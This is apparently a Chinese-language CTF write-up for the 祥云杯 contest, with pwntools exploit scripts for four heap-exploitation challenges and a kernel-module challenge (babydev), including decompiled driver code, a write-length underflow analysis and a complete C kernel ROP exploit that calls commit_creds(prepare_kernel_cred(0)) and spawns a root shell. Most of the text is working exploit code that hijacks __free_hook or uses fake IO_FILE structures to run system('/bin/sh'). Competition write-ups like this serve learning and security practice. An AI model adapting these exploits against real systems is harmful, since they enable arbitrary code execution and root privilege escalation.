祥云杯

整体来说,在各个考的知识点里面还是不难的,就算逆不出来,gdb硬调就行了 附件

随便打打,打完太湖杯,到处玩一玩,放松下

babypwn

1
from pwn import*
2
def menu(ch):
3
	p.sendlineafter('choice:',str(ch))
4
def init():
5
	menu(1)
6
def create():
7
	menu(2)
8
def new(size):
9
	menu(3)
10
	p.sendlineafter('size:',str(size))
11
def Set(content):
12
	menu(4)
13
	p.sendafter('content:',content)
14
def show():
15
	menu(5)
16
def size():
17
	menu(6)
18
p = process('./main')
19
elf =ELF('./main')
20
libc =ELF('./libc-2.23.so')
21
context.log_level = 'DEBUG'
22
init()
23
create()
24
init()
25
show()
26
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x68
27
log.info('LIBC:\t' + hex(libc_base))
28
create()
29
new(0x10)
30
show()
31
p.recvuntil('show:\n')
32
p.recv(8)
33
heap = u64(p.recv(8))
34
log.info('HEAP:\t' + hex(heap))
35
new(0x100)
36
create()
37
Set('\x00'*0x10 + p64(libc_base + libc.sym['free']) + p64(0x21) + p64(heap) + p64(libc_base + libc.sym['__free_hook']))
38
Set(p64(libc_base + 0xF1207))
39
size()
40
p.interactive()

Garden

1
from pwn import*
2
#context.log_level = 'DEBUG'
3
def menu(ch):
4
	p.sendlineafter('>> ',str(ch))
5
def new(idx,content):
6
	menu(1)
7
	p.sendlineafter('index?',str(idx))
8
	p.sendafter('name?',content)
9
def free(index):
10
	menu(2)
11
	p.sendlineafter('index?',str(index))
12
def show(index):
13
	menu(3)
14
	p.sendlineafter('index?',str(index))
15
def gift(index):
16
	menu(5)
17
	p.sendlineafter('steal?',str(index))
18
p = process('./main')
19
p = remote('8.131.69.237',32452)
20
libc =ELF('./libc-2.29.so')
21
for i in range(9):
22
	new(i,'FMYY')
23
for i in range(9):
24
	free(8 - i)
25
for i in range(7):
26
	new(i,'FMYY')
27
new(7,'\xF0')
28
show(7)
29
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x1C0 - 0x100
30
log.info('LIBC:\t' + hex(libc_base))
31
new(8,'FMYY')
32
33
for i in range(7):
34
	free(6 - i)
35
free(7)
36
gift(8)
37
for i in range(7):
38
	new(i,'FMYY')
39
menu(6)
40
new(7,'\x00'*0xD0 + p64(0) + p64(0x111) + '\x00'*0x20)
41
free(6)
42
free(8)
43
free(7)
44
new(7,'\x00'*0xD0 + p64(0) + p64(0x111) + p64(libc_base + libc.sym['__free_hook']))
45
new(8,'/bin/sh\x00')
46
new(6,p64(libc_base + libc.sym['system']))
47
free(8)
48
p.interactive()

影流

1
from pwn import*
2
context.log_level = 'DEBUG'
3
p = process('./main')
4
p = remote('112.126.71.170',45123)
5
elf =ELF('./main')
6
libc =ELF('./libc-2.23.so')
7
p.sendline('1')
8
sleep(0.1)
9
p.sendline('2')
10
sleep(0.1)
11
p.sendline('0')
12
sleep(0.1)
13
p.sendline('3')
14
sleep(0.1)
15
p.sendline('0')
16
sleep(0.1)
17
p.sendline(p64(0x60203D))
18
sleep(0.1)
19
p.sendline('1')
20
sleep(0.1)
21
p.sendline('1')
22
sleep(0.1)
23
p.sendline('3')
24
sleep(0.1)
25
p.sendline('2')
26
sleep(0.1)
27
p.send('\x00'*0x13 + p64(elf.got['free']) + p64(0x602060))
28
sleep(0.1)
29
p.sendline('4')
30
sleep(0.1)
31
p.sendline('0')
32
sleep(0.1)
33
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['free']
34
log.info('LIBC:\t' + hex(libc_base))
35
p.sendline('3')
36
sleep(0.1)
37
p.sendline('3')
38
sleep(0.1)
39
p.sendline('1')
40
sleep(0.1)
41
p.sendline(p64(libc_base + libc.sym['__free_hook']) + p64(0x602070))
42
sleep(0.1)
43
p.sendline('3')
44
sleep(0.1)
45
p.sendline('0')
46
sleep(0.1)
47
p.sendline(p64(libc_base + libc.sym['system']))
48
sleep(0.1)
49
p.sendline('3')
50
sleep(0.1)
51
p.sendline('1')
52
sleep(0.1)
53
p.sendline('/bin/bash')
54
sleep(0.1)
55
p.sendline('2')
56
sleep(0.1)
57
p.sendline('1')
58
sleep(0.1)
59
p.interactive()

ba_zui_bi_shang

1
from pwn import*
2
def S(ch):
3
	p.sendlineafter('>',str(ch))
4
def alloc(size,content):
5
	S(1)
6
	S(size)
7
	p.sendafter('>',content)
8
def free():
9
	S(2)
10
	
11
def mallopt(param,n):
12
	S(3)
13
	S(param)
14
	S(n)
15
def gift(size,content):
16
	S(4)
17
	S(size)
18
	p.sendafter('>',content)
19
p = process('./main')
20
libc =ELF('./libc-2.23.so')
21
p.recvuntil('Your Gift : ')
22
libc_base = int(p.recv(14),16) - libc.sym['puts']
23
log.info('LIBC:\t' + hex(libc_base))
24
S(0x4FF)
25
S('FMYY')
26
alloc(0x18,'FMYY')
27
free()
28
alloc(0x18,'FMYY')
29
mallopt(1,7)
30
mallopt(1,0x78)
31
gift(0x4FF,'\x78')
32
IO_list_all = libc_base + libc.sym['_IO_list_all']
33
IO_str_jumps = libc_base +libc.symbols['_IO_file_jumps'] + 0xC0
34
fake_IO  = p64(0) + p64(0)
35
fake_IO += p64(0) + p64(0)
36
fake_IO += p64(0) + p64(1)
37
fake_IO += p64(0) + p64(libc_base+libc.search('/bin/sh').next())
38
fake_IO  = fake_IO.ljust(0xD8,'\x00')
39
fake_IO += p64(IO_str_jumps - 8)
40
fake_IO += p64(0) + p64(libc_base + libc.sym['system'])
41
42
gift(0x470,fake_IO)
43
gift(0x410,'\x00'*8 + p64(libc_base + libc.sym['__malloc_hook'] + 1400 + 0x10))
44
S(5)
45
p.interactive()

Beauty_Of_ChangChun

简单的利用small bin和 tcache的任意写,知道思路,半个小时就能写出来exp,有点个人问题,这里就不放出来了

babydev

mychrdev_unlocked_ioctl

1
unsigned int64 mychrdev_unlocked_ioctl(int64 fd, int cmd, int64 user_ptr)
2
{
3
	  process_name = (const char *)(string + 4);
4
	  memcpy($rsp+0x4, process_name ,strlen(process_name) + 1);
5
	  var_2 = *(_QWORD *)(mydata + 0x10008);
6
	  var_1 = *(_DWORD *)(mydata + 0x10000);
7
	  *($rsp + 0x20) = mydata;
8
	  *($rsp + 0x14) = 0x10000 - var_2;
9
	  *($rsp + 0x18) = (var_2 - var_1)&0xFFFFFFFF;
10
	  copy_to_user(user_ptr, ($rsp+0x0), 0x28LL);
11
}

取了当前运行的程序的名字放入栈上, 然后把栈上的数据传给用户
从*($rsp + 0x20) = mydata; 和栈上残留信息能够拿到栈地址和全局变量 mydata指针的地址

mychrdev_write

1
signed int64  mychrdev_write(int64 fd, int64 user_ptr, int64 nbytes, int64 *($rsp + 0x70))
2
{
3
  var_1 = *($rsp + 0x70);
4
  if ( var_1 > 0xFFFFLL && var_1 >= *(mydata + 0x10008))
5
  	return false;
6
  if ((var_1 + nbytes) > 0x10000 )
7
    nbytes = (-(short int)var_1)&0xFFFF;
8
  if ( copy_from_user(mydata + *(mydata + 0x10000) + var_1, user_ptr, nbytes) )
9
    return false;
10
  *($rsp + 0x70) += nbytes;
11
  *(mydata + 0x10008) += nbytes;

mychrdev_llseek

可以设置read和write的第四个参数指针的值,即前面$rsp+0x70处的数值

漏洞

漏洞点在于nbytes = (-(short int)var_1)&0xFFFF;虽然判断总大小越界

1
.text:00000000000002B6                 mov     ebx, 10000h
2
.text:00000000000002BB                 sub     rbx, rdx
3
.text:00000000000002BE                 movzx   ebx, bx

edx则是llseek设置的值,如果等于0x10001,那么sub rbx,rdx之后,则rbx=0xFFFFFFFFFFFFFFFF,那么之后作为nbytes=0xFFFF,而偏移则是从0x10001起始
经过此操作之后,copy_from_user依旧能够执行,之后越界覆盖0x10000和0x10008位置的数值,通过偏移计算,之后则会实现任意写,qemu执行又开启了smep保护,所以不能直接ret2usr,因此用最朴素的ROP方法

Exploit

1
// gcc exp.c -o exp -masm=intel -static
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <fcntl.h>
5
#include <string.h>
6
#include <unistd.h>
7
#include <pthread.h>
8
#include <stropts.h>
9
#include <sys/wait.h>
10
#include <sys/stat.h>
11
#include <sys/types.h>
12
#define pop_rdi_ret 0xFFFFFFFF813EAD2C
13
#define swapgs_popfq_ret 0xFFFFFFFF81C00EAE // swapgs; popfq; pop rbp; ret;
14
#define iretq 0xFFFFFFFF81025A56	// iretq; pop rbp; ret;
15
#define xchg_rax_rdi 0xFFFFFFFF81768EF2
16
#define vmlinux_base 0xFFFFFFFF81000000
17
#define dev_text_base 0xFFFFFFFFC0000000
18
size_t commit_creds = 0xFFFFFFFF8108D340, prepare_kernel_cred = 0xFFFFFFFF8108D690;
19
size_t user_cs, user_ss, user_rflags, user_sp;
20
size_t data[0x4000];
21
size_t mydata;
22
size_t stack;
23
void save_status()
24
{
25
	__asm__("mov user_cs, cs;"
26
			"mov user_ss, ss;"
27
			"mov user_sp, rsp;"
28
			"pushf;"
29
			"pop user_rflags;"
30
			);
31
	puts("[*]Status Has Been Saved.");
32
}
33
size_t find_symbols()
34
{
35
	FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");
36
37
	if(kallsyms_fd < 0)
38
	{
39
		puts("[*]open kallsyms error!");
40
		exit(0);
41
	}
42
43
	char buf[0x30] = {0};
44
	while(fgets(buf, 0x30, kallsyms_fd))
45
	{
46
		if(commit_creds & prepare_kernel_cred)
47
			return 0;
48
49
		if(strstr(buf, "commit_creds") && !commit_creds)
50
		{
51
			char hex[20] = {0};
52
			strncpy(hex, buf, 16);
53
			sscanf(hex, "%llx", &commit_creds);
54
			printf("Commit_Creds: %p\n", commit_creds);
55
		}
56
57
		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
58
		{
59
			char hex[20] = {0};
60
			strncpy(hex, buf, 16);
61
			sscanf(hex, "%llx", &prepare_kernel_cred);
62
			printf("Prepare_Kernel_Cred: %p\n", prepare_kernel_cred);
63
		}
64
	}
65
66
	if(!(prepare_kernel_cred & commit_creds))
67
	{
68
		puts("[*]Error!");
69
		exit(0);
70
	}
71
72
}
73
void get_root()
74
{
75
	char* (*pkc)(int) = prepare_kernel_cred;
76
	void (*cc)(char*) = commit_creds;
77
	(*cc)((*pkc)(0));
78
}
79
80
void get_shell()
81
{
82
	system("/bin/sh");
83
}
84
85
int main()
86
{
87
	save_status();
88
	signal(SIGSEGV, get_shell);
89
	signal(SIGTRAP, get_shell);
90
	int fd = open("/dev/mychrdev",O_WRONLY);
91
	ioctl(fd,0x1111,data);
92
	mydata = data[4];
93
	stack = (data[2] | 0xFFFFC90000000000) - 0x10;
94
	printf("[+] mydata at: %p\n",mydata);
95
	printf("[+] Stack at: %p\n",stack);
96
	write(fd,data,0xF000);
97
	lseek64(fd,0x100,0);
98
	write(fd,data,0x10000);
99
	lseek64(fd,0x10001,0);
100
	data[0] = stack - mydata;
101
	data[1] = stack - mydata + 0x10000;
102
	write(fd,(char*)data+1,0x10000);
103
	size_t off = stack&0xFF;
104
	lseek64(fd,off,0);
105
	int i = 0;
106
	data[i++] = pop_rdi_ret;
107
	data[i++] = 0;
108
	data[i++] = prepare_kernel_cred;
109
	data[i++] = xchg_rax_rdi;
110
	data[i++] = commit_creds;
111
	data[i++] = swapgs_popfq_ret;			// swapgs; popfq; ret
112
	data[i++] = 0; 							// rflags
113
	data[i++] = 0;
114
	data[i++] = iretq;						// iretq; ret;
115
	data[i++] = (size_t)get_shell;			// rip
116
117
	data[i++] = user_cs;					// cs
118
	data[i++] = user_rflags;				// rflags
119
	data[i++] = user_sp;					// rsp
120
	data[i++] = user_ss;					// ss
121
	write(fd,data,0x100);
122
}

参考Nu1L战队的exp改的,然后自己调试了下,太久没做Kernel题,遇到LKM也是懵的了,顺便复习了一下Kernel的基础知识

Contents
  1. 1. babypwn
  2. 2. Garden
  3. 3. 影流
  4. 4. ba_zui_bi_shang
  5. 5. Beauty_Of_ChangChun
  6. 6. babydev
    1. 6.1. mychrdev_unlocked_ioctl
    2. 6.2. mychrdev_write
    3. 6.3. mychrdev_llseek
    4. 6.4. 漏洞
    5. 6.5. Exploit
|